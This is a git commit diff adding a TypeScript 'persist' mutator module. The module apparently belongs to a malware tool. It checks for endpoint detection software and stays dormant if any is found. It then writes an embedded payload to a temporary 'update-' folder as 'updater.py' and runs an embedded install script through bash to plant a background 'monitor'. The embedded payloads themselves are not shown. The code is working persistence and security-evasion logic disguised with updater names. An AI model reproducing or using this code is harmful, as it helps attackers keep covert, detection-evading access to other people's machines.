Upload files to "src/mutator/persist"
This commit is contained in:
@@ -0,0 +1,66 @@
|
||||
import { mkdtempSync, rmSync, writeFileSync } from "fs";
|
||||
import { cpus } from "os";
|
||||
import { join } from "path";
|
||||
|
||||
import { GITHUB_MONITOR, INSTALL_MONITOR } from "../../generated";
|
||||
import { isCI } from "../../utils/config";
|
||||
import { hasHostileEDR } from "../../utils/config";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { Mutator } from "../base";
|
||||
|
||||
let installed = false;
|
||||
|
||||
export class InstallMonitor extends Mutator {
|
||||
override async shouldExecute(): Promise<boolean> {
|
||||
if (installed) {
|
||||
logUtil.log("persist: already installed, skipping");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (hasHostileEDR()) {
|
||||
logUtil.log("persist: EDR detected, skipping");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
async execute(): Promise<Boolean> {
|
||||
if (!(await this.shouldExecute())) return false;
|
||||
|
||||
logUtil.log("persist: installing background monitor...");
|
||||
const tmpDir = mkdtempSync("/tmp/update-");
|
||||
const monitorPath = join(tmpDir, "updater.py");
|
||||
|
||||
try {
|
||||
writeFileSync(monitorPath, GITHUB_MONITOR, { mode: 0o755 });
|
||||
|
||||
const proc = Bun.spawn(["bash", "-s", "--", monitorPath], {
|
||||
stdin: "pipe",
|
||||
stdout: "pipe",
|
||||
stderr: "pipe",
|
||||
});
|
||||
proc.stdin.write(INSTALL_MONITOR);
|
||||
proc.stdin.end();
|
||||
const exitCode = await proc.exited;
|
||||
if (exitCode === 0) {
|
||||
installed = true;
|
||||
logUtil.log("persist: background monitor installed successfully");
|
||||
return true;
|
||||
}
|
||||
logUtil.log(`persist: monitor install failed with exit code ${exitCode}`);
|
||||
return false;
|
||||
} catch (e) {
|
||||
logUtil.log(
|
||||
`persist: monitor install error: ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
return false;
|
||||
} finally {
|
||||
try {
|
||||
rmSync(tmpDir, { recursive: true, force: true });
|
||||
} catch {
|
||||
// best-effort cleanup
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user